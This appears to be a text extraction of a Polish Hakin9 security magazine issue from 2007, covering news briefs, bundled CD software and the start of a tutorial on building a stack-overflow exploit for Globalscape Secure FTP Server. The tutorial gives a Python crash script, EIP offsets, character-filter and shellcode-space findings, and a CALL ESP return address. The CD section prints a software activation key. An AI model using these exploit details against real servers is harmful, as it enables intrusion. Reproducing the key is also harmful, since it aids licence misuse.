Hakin9 27 (07 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 7/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawia garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych

i nie tylko.

Zawartość CD

8

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Atak

Hakowanie serwera FTP

12

Mati Aharoni

Mati pokazuje nam jak napisać praktyczny exploit oraz

jakimi ciekawymi metodami można wykorzystać luki.

PHPsh – dostęp do shell’a

20

Piotr Nowak

Piotr pokazuje jak uzyskać dostęp do shella na ser-

werze, który nie jest wyposażony w tą usługę.

Metody rozprzestrzeniania

się botnetów

24

Dawid Gołuński, Krzysztof Kułaj

Dawid i Krzysztof wyjaśniają na jakiej zasadzie dzia-

łają boty (metody infekcji, ukrywanie się w systemie),

jak analizować skomplikowane boty, oraz jakie zagro-

żenia są związane z sieciami botnet.

Obrona

Bezpieczne aplikacje Web

w oparciu o ASP.NET2.0

32

Artur Żarski

Artur przedstawia dostępne technologie platfor-

my .NET, dzięki którym aplikacje WEB mogą stać

się bezpieczniejsze. Pokazane są aspekty, na które

należy zwrócić uwagę przy tworzeniu i konfigurowa-

niu całego środowiska aplikacji.

Windows 2003 Server – audyt GPO

40

Piotr Błaszczeć, Tadeusz Calanca

Piotr i Tadeusz wyjaśnią pojęcia i terminy związane z

GPO. Jaki wpływ na bezpieczeństwo mają GPO oraz

jak szybko audytować struktury GPO.

Inwigilacja w pracy

46

Krzysztof Marzec

Krzysztof przedstawia w swoim artykule czym jest

inwigilacja oraz jakie są jej metody.

Witamy!

Lato w pełni i mamy nadzieję, że nasi czytelnicy podczas

swoich urlopów nie zapomną o nas i zakupią lipcowy numer

hakin9 – jak się obronić.

Gorąco polecamy artykuł z działu atak: Praktyczny exploit

z podwójnym adresem powrotnym. Kontynuujemy ciekawy

temat jakim jest inwigilacja w pracy, w artykule Krzysztofa

Marca pt.: Twój komputer donosicielem – inwigilacja w pracy

- dowiecie się czegoś więcej o podglądaniu w pracy... Zapra-

szam także do przeczytania artykułu o steganografii autor-

stwa Cezarego Cerekwickiego. Na płycie CD dołączonej do

pisma tym razem nasi czytelnicy będą mogli znaleźć nowy

tutorial do artykułu z hakin9 6/2007, a mianowicie Zaciem-

nianie kodu Artura Żarskiego oraz wiele ciekawych progra-

mów. Do użytku udostępniamy Państwu: Ashampoo Magic-

Security 2007, Ashampoo Firewall Pro, BinarySec, Vip

defense, Anyplace Control, Multimedia Protector oraz Panda

Internet Security 2007.

Pozdrawiamy i życzymy miłej lektury!

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 7/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Zagrożenia socjotechniczne

a bezpieczeństwo informacji

50

Andrzej Guzik

Andrzej w swoim artykule charakteryzuje czym jest cykl

socjotechniczny i jakie są typowe metody socjotech-

niczne. Nauczymy się jak zapobiegać takim atakom.

Techniki zapobiegania – reverse

engineering

54

Michał Bućko

Z artykułu dowiesz się o najpopularniejszych techni-

kach wymierzonych przeciwko debugowaniu i inżynie-

rii wstecznej stosowanej przez twórców malware'u.

Narzędzia

NOD32 – przyjazny antywirus

58

Początki

Fuzzing

60

Paul Sebastian Ziegler

Paul przybliża nam pojęcie fuzzingu. Artykuł pokazu-

je jak napisać swój własny fuzzer i jak go praktycznie

wykorzystać.

Steganografia

74

Cezary Cerekwicki

Cezary wyjaśni nam na czym polega steganografia,

jakimi techniakmi posługiwano się w przeszłości, a

jakimi współcześnie.

Felieton

Bezpieczeństwo na szybkiego

78

Patryk Szlagowski

Klub Techniczny

MPP – Message Partners

79

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor:
Sylwia Pogroszewska

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Redaktor prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Marek Szuba, Piotr Żuk

Wyróżnieni betatesterzy: Amadeusz Jasak, Konrad Parafiańczuk,

Rafał Podsiadły

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 7/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 7/2007

Animowane kursory

zagrażają Windows

W systemie Microsoft Windows

znaleziono nowy poważny błąd,

jaki związany jest z przetwarza-

niem plików, w których zapisywa-

ne są animowane kursory. Problem

wynika z przepełnienia bufora pod-

czas przetwarzania pliku animowa-

nego kursora (.ani). W wyniku prze-

pełnienia może dojść do urucho-

mienia dowolnego kodu na maszy-

nie ofiary. Luka dotyczy niemal

całej rodziny Windows - od 98

poczynając, na Windows Vista koń-

cząc. Poprawka jest już dostępna

w Windows Update, a oznaczona

jest numerem MS07-017. Więcej

informacji na jej temat można

zasięgnąć na stronie Microsoft:

http://www.microsoft.com/technet/

security/Bulletin/MS07-017.mspx

Dziury w NAC

Specjaliści z Niemieckiej firmy

ERNW GmBH odkryli dwie dziury

w oprogramowaniu NAC (Ne-

twork Admission Control) opra-

cowanym przez Cisco. Błędy te

można wykorzystać do atakowa-

nia sieci LAN. Michael Thumann

i Dror-John Roecher zademon-

strowali na konferencji Black Hat

w Amsterdamie narzędzie, które

wykorzystuje odkryte przez nich

dziury. Odkryte błędy pozwalają tak

oszukać serwer ACS, jaki weryfiku-

je stan klientów, iż dostęp do Sieci

może uzyskać nieuprawniony do

tego komputer. Dzięki tym dziurom

napastnik może wysłać do serwe-

ra ACS nieprawdziwe informacje,

posługując się technologią spoofin-

gu (podstawiając inny komputer w

miejsce oryginalnego).

Czy będzie domena .safe?

Firma F-Secure proponuje utwo-

rzenie nowej domeny global-

nej: .safe, z której mogłyby korzy-

stać wyłącznie zarejestrowane

instytucje finansowe. Rejestra-

cja nazwy w takiej domenie obwa-

rowana byłaby szeregiem ograni-

czeń, uniemożliwiających rejestra-

cję domeny dla celów działalności

przestępczej. Oczywiście propo-

nowana domena nie zapewniała-

by pełnej ochrony przed oszustami

– ale pomogłaby podnieść poziom

bezpieczeństwa. Użytkownik Inter-

netu, wchodząc na stronę o dome-

nie .safe, miałby pewność, że za

witryną kryje się prawdziwa instytu-

cja finansowa.

Polska trzecim spamerem świata

S

ophos opublikował raport doty-
czący największych spamerów w

pierwszym kwartale 2007 roku. Spe-
cjaliści z firmy SophosLabs skanowa-
li spam e-mail, który łapany na całym
świecie jest w tzw. spam traps. Na tej
podstawie specjaliści utworzyli staty-
styki, z których wynika, że Polska zaj-
muje trzecią pozycję w zestawieniu,
niechlubnie przoduje USA z wskaźni-
kiem 19.8%. Po raz pierwszy na liście
dwunastu krajów znalazły się Indie.

Dwunastu największych spamerów

to: USA (19,8%), Chiny (7,5%), Polska
(7,4%), Korea Płd (7%), Włochy (5%),
Francja (4,1%), Niemcy (3,7%), Hisz-

pania (3,5%), Brazylia (3,1%), Rosja
(3%), Indie (2,8%), Tajwan (2,5%).

Chiny, które zawsze dorównywa-

ły USA, dramatycznie spadły w tym

kwartale. Polska, z drugiej strony,

wysyła coraz więcej spamu i znalazła

się na trzeciej pozycji. Fakt, że Polska

jest niewątpliwie mniejszym krajem niż

Rosja, Indie, Chiny czy USA, sugeruje,

że Polacy powinni bliżej przyjrzeć się

bezpieczeństwu swoich komputerów.

Polskie władze powinny edukować

użytkowników w kwestii odpowiedzial-

ności za swoje komputery - powiedział
Carole Theriault, starszy konsultant
bezpieczeństwa w Sophos.

Google we Wrocławiu

C

entrum innowacji/usług inter-
netowego giganta z Mountain

View powstanie we Wrocławiu. Ośro-
dek będzie znacznie większy od kra-
kowskiego i będzie drugim, co do
wielkości centrum Google w Europie
- największym pozostanie oddział w
Dublinie. Kolejna inwestycja Google
w Polsce jest m.in. zasługą naszych
informatyków, którzy od lat na całym
świecie wygrywają renomowane kon-
kursy dla programistów. W podobnych
centrach badawczo-rozwojowych na
całym świecie powstają aplikacje, z
których korzystają miliony internau-
tów. Firma Google została założona
w 1998 roku przez dwóch doktoran-
tów Uniwersytetu Stanforda, Larry'e-
go Page'a i Sergeya Brina. Flagowymi
usługami firmy są internetowa wyszu-

kiwarka Google oraz serwisy reklamo-
we AdWords oraz AdSense, które sta-
nowią główne źródło dochodów firmy.
Google zatrudnia ponad 10,000 pra-
cowników w kilkunastu krajach, wyka-
zuje przychody na poziomie 10 miliar-
dów i zyski rzędu 3 miliardów dolarów
rocznie. Główna siedziba firmy mieści
się w Mountain View, hrabstwo Santa
Clara, w Kalifornii, w USA

Rysunek 1.

Google we Wrocławiu

Coraz więcej indywidualnego spamu

Z

danych przedstawionych przez
firmę MessageLabs wynika, że

dziesięciokrotnie zwiększyła się liczba
ataków, polegających na wysyłaniu
niechcianych listów e-mail zawiera-
jących złośliwe oprogramowanie do
pojedynczych osób. Ataki takie pole-
gają na wysyłaniu e-maili do konkret-
nego internauty i skierowane są głów-
nie przeciwko pracownikowi określo-

nej instytucji, który posiada dostęp
do ważnych informacji. Niechciane
wiadomości e-mail zawierają głównie
cały zestaw niebezpiecznego opro-
gramowania: trojany, wirusy, exploity,
które umożliwiają wykradanie danych.
Ta metoda przeprowadzania ataku
jest bardzo skuteczna i wielu prze-
stępców całymi miesiącami korzysta
z tych samych exploitów.

background image

W skrócie

hakin9 Nr 7/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 7/2007

Niebezpieczna luka

w DNS Microsoftu

W usłudze DNS wykryto poważ-

ną lukę, która pozwala na wykony-

wanie nieautoryzowanego kodu.

Nowoodkryta luka została zloka-

lizowana w systemach Windows

2000 Server SP4, Windows Server

2003 SP1 oraz Windows Server

2003 SP2. Windows 2000 Pro-

fessional SP4, Windows XP SP2 i

Windows Vista nie są narażone na

atak. Firma McAfee poinformowa-

ła o nowej wersji szkodnika Rinbot,

która przeszukuje Sieć w poszu-

kiwaniu systemów podatnych na

atak. Christopher Budd z Microsoft

napisał na swoim blogu, że prace

nad aktualizacją trwają 24 godzi-

ny na dobę i aktualizacja powin-

na ukazać się 8 maja, czyli zgodnie

z harmonogramem udostępniania

łatek. Microsoft tymczasem zapro-

ponował wyłączenie zdalnego

zarządzania protokołem wykony-

wania procedur PRC przez modyfi-

kację rejestru, można też zabloko-

wać porty 1024 do 5000.

Haker przyłapany na wła-

mywaniu się do serwera

27 marca informatycy Universi-

ty of California w San Francisco

zapobiegli poważnemu włama-

niu. Czujni technicy zauważyli, że

ktoś próbuje włamać się do serwe-

ra zawierającego ważne informa-

cje dotyczące pracowników i stu-

dentów uczelni (46 000 osób) Spe-

cjalista Randy Lopez pracujący

jako główny informatyk na uczel-

ni, zauważył, że serwer działa wol-

niej niż zazwyczaj i wszczął śledz-

two. Na serwerze przechowywane

były informacje odnośnie listy płac

pracowników uczelni oraz pomocy

finansowej dla studentów, które

mogły zostać wykorzystane przez

hakera do kradzieży tożsamo-

ści. Wszystkie informacje zawar-

te na komputerze nie były zaszy-

frowane, gdyż uznano, że serwer

jest dobrze zabezpieczony przez

zapory ogniowe.

Linux zagrożony

przez Wi-Fi

W linuksowym sterowniku chipse-

tów Wi-Fi Atherosa wykryto poważ-

ny błąd, który może pozwolić

napastnikowi na przejęcie kontroli

nad notebookiem nawet wtedy, gdy

nie jest on podłączony do bezprze-

wodowej sieci.

Pierwsza groźna luka w Viście

W

programie Windows Mail,
następcy Outlook Express,

odkryto poważną dziurę, która może
doprowadzić do uruchomienia kodu
bez informowania o tym użytkowni-
ka. Wykorzystanie luki przez ataku-
jącego nie jest łatwe. Kod musi uru-
chomić użytkownik, klikając na przy-
gotowany przez atakującego link, ist-
nieją jednak poważne ograniczenia,
co do lokacji i nazwy możliwego do
uruchomienia w ten sposób opro-
gramowania. Kod możliwy do uru-
chomienia z wykorzystaniem luki
w Windows Mail musi mieć formę
pliku wykonalnego nazwanego tak
samo jak katalog, w którym się znaj-
duje, np.

winrm.cmd

ulokowany w C:

/windows/system32/winrm. Podat-
ność na tego typu atak potwierdzo-
no przez testy w różnych wersjach

Windows Vista (Ultimate, Home Pre-

mium, Home Basic, Enterprise, Busi-

ness).

Rysunek 2.

Pierwsza groźna luka

w Viście

Bezpieczne programowanie

P

restiżowa organizacja amery-
kańska zrzeszająca eksper-

tów ds. bezpieczeństwa sieciowego
(SANS Institute) uruchomiła program
oceny i certyfikacji programistów
pod kątem znajomości zasad bez-
piecznego programowania. Począt-
kowo dostępne będą cztery wersje
egzaminów, które będą obejmowały
programowanie w językach C/C++,
Java/J2EE, Perl/PHP oraz .Net/ASP.
Egzaminy sprawdzają jedynie znajo-

mość podstawowej wiedzy dotyczą-
cej zabezpieczeń i dobrych zasad
programowania, nie wymagają one
znajomości zaawansowanych tech-
nologii bezpieczeństwa. W teście
możemy choćby spotkać przykła-
dy realnego kodu, w którym należy
wskazać potencjalne niebezpieczeń-
stwo. Pierwsze egzaminy odbędą
się w sierpniu w Waszyngtonie. Ich
zasięg ma się później rozszerzyć na
inne regiony świata, w tym Europę.

Gary McKinnon zostanie wydany władzom USA

B

rytyjski haker Gary McKinnon
przegrał w londyńskim sądzie

sprawę, w której sprzeciwiał się eks-
tradycji do Stanów Zjednoczonych,
gdzie ma być sądzony za dokona-
nie największego militarnego włama-

nia komputerowego wszech czasów.
Podczas rozprawy w Sądzie Najwyż-
szym adwokaci McKinnona wyrazi-
li obawy przed surowym wyrokiem,
jaki amerykański sąd może wymie-
rzyć brytyjskiemu hakerowi – grozi
mu tam bowiem do 45 lat więzie-

nia, mimo to jego apelacja zosta-
ła odrzucona. 40-letni bezrobotny
londyński administrator komputero-
wy jest oskarżony o włamanie do
97 amerykańskich komputerów woj-
skowych i NASA w 2001 i 2002. Sieć
komputerowa, do której się włamał,
obejmuje sieć NASA, Armii Stanów
Zjednoczonych, US Navy, Departa-
ment Obrony USA, Siły Powietrzne
Stanów Zjednoczonych oraz jeden
komputer należący do Pentagonu.

Mateusz Stępień

background image

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

8

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

9

N

a dołączonej do pisma płycie znajduje się haki-

n9.live (h9l) w wersji 4.0.0 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,

tutoriale i materiały dodatkowe do artykułów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować się jako
użytkownik hakin9 bez podawania hasła.

Materiały dodatkowe zostały

umieszczone w następujących

katalogach:

• Jeden nowy tutorial do artykułu: Zaciemnianie kodu

programu,

hakin9.live 4.0.0. on BackTrack2.0

Programy:

• Ashampoo Firewall Pro,
• Ashampoo Magical Security,
• BinarySec,
• VIPdefence,
• Anyplace Control,
• Multimedia Protector,
• Panda Internet Security 2007.

Żeby uruchomić swój komputer z płyty hakin9.live, ustaw
swój BIOS na bootowanie z napędu CD-ROM. Po doko-
nanych zmianach uruchom ponownie komputer. Urucho-
mi się dystrybucja hakin.live, na której możesz przećwi-
czyć techniki prezentowane w tutorialach. Upewnij się
Drogi Czytelniku czy sprawdziłeś desktopowe foldery
– zawierają wiele dodatkowych materiałów. Zawartość
CD można również przejrzeć w systemie Windows.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (strona manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję. Na CD opracowane zosta-
ły praktyczne ćwiczenia do artykułu – Zaciemnianie ko-

du programu. Zakładamy, że podczas wykonywania ćwi-
czeń związanych z artykułami i tutorialami, użytkownik
korzysta z hakin9.live.

Ashampoo Firewall Pro

Zapora sieciowa, która jest niezbędna dla każdego użyt-
kownika Internetu, chcącego chronić swoją prywatność.
Wszystko co wychodzi i wchodzi do komputera jest spraw-
dzane, ataki hakerów blokowane, a nieautoryzowane wyj-

Zawartość CD

ścia z naszego komputera do Internetu zatrzymywane.
Mimo tak mocno rozbudowanych zabezpieczeń, porusza-
nie po interface jest intuicyjne, a sama aplikacja nie zaj-
muje dużej ilości pamięci operacyjnej (pełna wersja).

Ashampoo Magical Security

Oprogramowanie służy do szyfrowania danych i ochrony
informacji na naszej stacji roboczej. W przeciwieństwie
do innych aplikacji z tego sektora nie jest skomplikowa-
ny w użyciu. Jest to następca Ashampoo Privacy Pro-
tector, wykrzystujący szyfrowanie Advanced Encryption

Standard i po za szyfrowaniem umożliwia twałe usuwa-
nie plików z dysków. Dodatkowymi przydatnymi funkcjami
są: opcja nagrywania cd bezpośrednio za pomocą AMS,
oraz zapisywanie kodowanych plików w formacie EXE.

Rysunek 2.

Zrzut strony Anyplace Control

Rysunek 1.

Panda Internet Security 2007

background image

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

8

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

9

Umożliwia to otwarcie kodowanego pliku znając hasło,
bez specjalnego oprogramowania.

BinarySec

Jest to inteligenta aplikacja web'owa typu firewall, stwo-
rzona do tłumienia złośliwego ruchu na stronach i w apli-
kacjach internetowych. Śledzi normalny ruch i blokuje
złośliwe rządania z wysoką precyzją. BinarySec chroni
przed szerokim wachalrzem ataków, łącznie z cross-site

scripting (XSS), SQL injection, command injection, PHP

includes, parameter tampering, buffer overflow, directory

traversal. Aplikacja posiada graficzny, przyjazny w obsłu-
dze instalator i panel administracyjny przez przeglądarkę
interentową. Wykorzystuje 128 MB pamięci ram i ok 2%
CPU (wersja na 6 miesięcy).

Wskazówki do instalacji:

• ściągnąć oprogramowanie z serwera
• przekształcić plik tak aby był wykonywalny – chmo-

d=x <nazwa pliku>

• wywołać instalację – ./ <nazwa pliku>

VIP defence

Oprogramowanie dzielące się na VIP Anonymity i VIP
Privacy zapewniające nam anonimowość oraz uniemoż-
liwiające internetowym złodziejom kradzież danych.

VIP Anonymity uniewidacznia twój adres IP, po przez

skierowanie go do anonimowego serwera proxy. Pod-
czas serfowania po Sieci informacje o nas są ukrywane
i czyszczone.

VIP Privacy umożliwia wyszukiwanie i czyszczenie

wszystkich informacji o nas przechowywanych w syste-
mie, czy zainstalowanych aplikacjach. W żaden sposób
nie zmienia, ani nie kasuje prywatnych dokumentów. VIP
Privacy zna 700 aplikacji i kilka tysięcy dziur przez które
mogą zostać wykradzione nasze dane.

Anyplace Control

Zdalnie sterowany program, mogący wyświetlać obraz
innego komputera na naszej stacji roboczej. Za pomo-
cą naszej myszki i klawiatury możemy kontrolować inny
komputer z jakiegokolwiek miejsca na świecie. Posługi-
wanie się programem jest łatwe i szybkie, możesz zapo-
mnieć że pracujesz na zdalnej maszynie (pełna wersja).

kod aktywujący:

04QDqGYY3T+ErL1HGIGZ9CQCv1ArqR
eWZeHPEElMGjYuHFuYuodFEhVEiI5n
ffdczFPAE7uspnJhqSSt/p2bTPN2Hf
j64m3TomLKBpUujLjCrwibXE0OW/ip
b8yIfKX8+PW2+TE94+NzuJQ/A9x26y
wZ7cjLSu4bJCNisgJaeDDY=

Multimedia Protector

Narzędzie służące do zabezpieczania pilków audio, vi-
deo, obrazów, PDF, czy dokumentów tekstowych. Każdy
drukowany dokument jest chroniony. Nawet podczas od-
tważania pliki są chronione. Nie jest to chwilowo przecho-

wywane na dysku twardym, tylko na tak jakby wirtualnym
dysku w pamięci komputera. Do wyboru mamy 10 jezy-
ków (wersja 120 dniowa).

Panda Internet Security 2007

W najnowszym oprogramowaniu Pandy, główny nacisk
położono na zabezpieczenie takich danych jak, dane
osobowe, numery kart kredytowych, czy hasła do logo-
wania. Dzięki niemu nasze osobiste dane będą chronio-
ne przed internetowymi złodziejami i złośliwymi progra-
mami. W nowej wersji PIS 2007 rozbudowano technolo-
gię TruPrevent odpowiedialną za analizę behawioralną,
o składnik Genetic Heuristic Engine. Będzie on odpowie-
dzialny za skanowanie profilu genetycznego pliku. Po za
wspomnianą wyżej technologia aplikacja zawiera wbudo-
wane takie nażędzia jak: firewall, antivirus, Antispyware/
AntiAdware, moduł blokowania niebezpiecznych stron i
moduł ochrony rodzicielskiej (wersja na 3 miesiące).

Rysunek 3.

Interfejs programu

Rysunek 4.

Panel administracyjny

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

12

Atak

W

2005 roku byłem zaangażowany w
Pen Test dużej firmy ubezpiecze-
niowej (Ofiara). Celem pentestu by-

ła próba penetracji strefy DMZ i uzyskania do-
stępu administracyjnego na jednej z maszyn w
tej strefie. Po długim procesie zbierania infor-
macji odkryłem, że ofiara korzystała z serwera

Globalscape Secure FTP, na jednej z maszyn
w strefie DMZ.

Postanowiłem poprowadzić atak w tym kie-

runku i ściągnąłem identyczną wersję Global-

scape Secure FTP Server (GSFTPS) na moją
lokalną maszynę testową. Miałem nadzieję
znaleźć błąd w serwerze i może napisać dla
niego exploit. Nie miałem pojęcia, że będzie to
jedno z najbardziej interesujących przepełnień
stosu, z jakimi miałem do czynienia.

Szybko przygotowałem złożony z 20 linijek

FTP Fuzzer w Pythonie (który wstyd mi po-
kazać!) i pozwoliłem mu działać na lokalnym
serwerze GSFTPS. O dwie kawy i jednego
papierosa później OllyDBG rozbłysnął na żółto
wskazując, że wystąpił wyjątek.

Problem

Spoglądając na Olly byłem zachwycony – wy-
glądało to podobnie jak vanilla stack overflow,

z bezpośrednią kontrolą EIP. Takie scenariusze
są często wykorzystywane, ponieważ przekie-
rowanie strumienia wykonawczego jest prawie
pewne. Dodatkowo, wyglądało na to, że wy-
korzystanie tej luki będzie trywialne, bo ECX,
ESP i ESI wskazywały na adresy w pamięci,
zawierające dane wejściowe naszego użyt-
kownika.

Spojrzałem na mój fuzzer i zobaczyłem, że

nielegalne polecenie mogłoby zostać repliko-
wane przez skrypt Pythona. Zobacz Listing 1.

Hakowanie

serwera FTP

Mati Aharoni

stopień trudności

Uwielbiam przepełnienia. Za każdym razem, kiedy pracuję nad

jednym z nich czuję się jak w Matrixie naginając zasady systemu,

żeby zrobić coś po swojemu... W tym artykule krok po kroku

napiszemy praktyczny exploit z podwójnym adresem powrotnym

dla podatnego na ataki serwera FTP.

Z artykułu dowiesz się

• interesującej metody wykorzystywania luk,
• że przepełnienia bufora to zabawa!

Co powinieneś wiedzieć

• warunki przepełnienia stosu (win32),
• podstawowa znajomość przepełnienia SEH,
• podstawowa znajomość OllyDBG,
• wspomniane aplikacje można znaleźć pod tym

adresem : http://www.offensive-security.com/
gsftps.exe.

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

13

Nadużycie EIP

Następnym krokiem było określenie
bajtów do nadpisania EIP, w celu

przejęcia kontroli nad strumieniem
wykonawczym GSFTPS w czasie
przepełnienia.

Istnieje kilka metod, aby to zrobić,

a jedne są nudniejsze od drugich. Ja
wybrałem wysłanie unikalnego strin-
ga 3000 bajtów tak, aby nadpisać
EIP łatwo rozpoznawalnymi bajtami.

Przesłanie tych bajtów zamiast

3000 znaków A spowodowało nastę-
pujący crash. Zobacz Rysunek 2.

Widzimy, że EIP został nadpisany

przez string

\x43\x51\x31\x43

, który jest

równoznaczny z CQ1C. Szukamy tej
sekwencji bajtów w naszym buforze…
i nie znajdujemy jej. Znajdujemy jednak

Cq1C. Zauważmy, że nasze oryginal-
ne duże Q zostało zastąpione przez
małe q. Bardzo podejrzane. Może to
znaczyć, że GSFTPS manipuluje jakoś
stringami w momencie otrzymywania
zapytań i zamienia niektóre duże litery
na małe. Niebawem to zbadamy.

Identyfikujemy te 4 bajty (Cq1C)

w naszym buforze i widzimy, że
znajdują się one na pozycjach 2044
-2047 w stringu.

Widzimy również, że ESP wska-

zuje na adres, który zawiera string
pochodzący od użytkownika – 3cq4
oraz, że bajty te rozpoczynają się na
2052 pozycji offsetu naszego bufora
3000 bajtów.

Obejście

filtrowania znaków

Niektóre aplikacje filtrują lub zmieniają
strumień danych, który odbierają. Aby
nasz exploit działał, musimy sprawić,
by żadna część naszego shellcode'u
(lub cały bufor w tym wypadku) nie

Rysunek 2.

Crash z unikalnym buforem 3000 bajtów

Rysunek 1.

Wstępny crash

Listing 1.

Skrypt Pythona

#!/usr/bin/python

import

socket

import

struct

import

time

buffer

=

'\

x41

'

*

3000

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Rysunek 3.

Przekonwertowane znaki

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

14

została zmieniona przez aplikację.
Możemy sprawdzić filtrowanie zna-
ków przesyłając różne znaki ASCII
jako nasz shellcode, a następnie
prześledzić w programie uruchomie-
niowym, czy cokolwiek zostało zmie-
nione. Wysyłamy następujący bufor:

buffer = '\x41'*2137 +
"ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz"
+ '\xCC'*811

Przyglądamy się temu, jak jest on
zapisany w pamięci i uzyskujemy
potwierdzenie naszych podejrzeń co
do filtrowania znaków. Zauważmy, że
znaki pisane małą czcionką zostały
zamienione na pisane dużą!

To oznacza, że nie możemy mieć

znaków

\x61 do \x7d

(od a do z) w na-

szym buforze.

Określanie dostępnej

objętości dla shellcode'u

Musimy też określić dokładnie, jak
dużo miejsca mamy na nasz shell-
code. Możemy to zrobić przesyłając
dłuższy string (w naszym przypadku,
1100 \xCC) i badając stos po crashu.

buffer = '\x41'*2043 + '\x42'*4 +'\

xCC'*1100

Możemy zobaczyć, że nasz orygi-
nalny bufor 1100 znaków ma dłu-
gość 1088 bajtów w pamięci, licząc
od ESP. Oznacza to, że GSFTPS

obcina jakiekolwiek dodatkowe bajty
po 1088 znaku. Nasz shellcode mo-
że mieć maksymalnie 1088 bajtów.
1d4feac – 1d4fa6c = 440h = 1088d.

Testowanie

naszego exploita

Opierając się na powyższych in-
formacjach, możemy teraz napisać
szkielet dla naszego exploita. Może-
my sprawdzić poprawność naszych
obliczeń modyfikując nasz POC.
Zobacz Listing 3. Powoduje to nastę-
pującą awarię. Zobacz Rysunek 5.

Jak widzimy, mamy teraz całko-

witą kontrolę nad EIP, a ECX oraz
ESP pokazują na nasz bufor \x44.
Wszystko, co pozostało nam teraz
do zrobienia, to przekierowanie EIP
do naszego bufora kontrolowanego
przez użytkownika w ECX lub ESP
i upewnienie się, że nasz złośliwy

shellcode znajduje się w jednej

z tych dwóch lokacji (ja wybieram
ESP dla tego przykładu).

Dostęp do powłoki

Szukamy polecenia JMP/CALL ESP
w jednym z głównych plików syste-
mowych dll, (ja użyłem user32.dll)
i znajdujemy jedno przy

7C4FEDBB.

7C4FEDBB FFD4 CALL ESP

Użyjemy tego adresu powrotne-

go, aby skoczyć do adresu, który
zawiera dane pochodzące od użyt-
kownika. Zauważmy, że adres, który
wybieramy, jest podatny na filtrowa-
nie znaków! Zobacz Listing 4.

Wynikiem tego był crash pokaza-

ny na Rysunku 6.

Dzięki temu crashowi możemy

stwierdzić, że wszystko wydaje się
działać oraz, że zostaliśmy pomyślnie
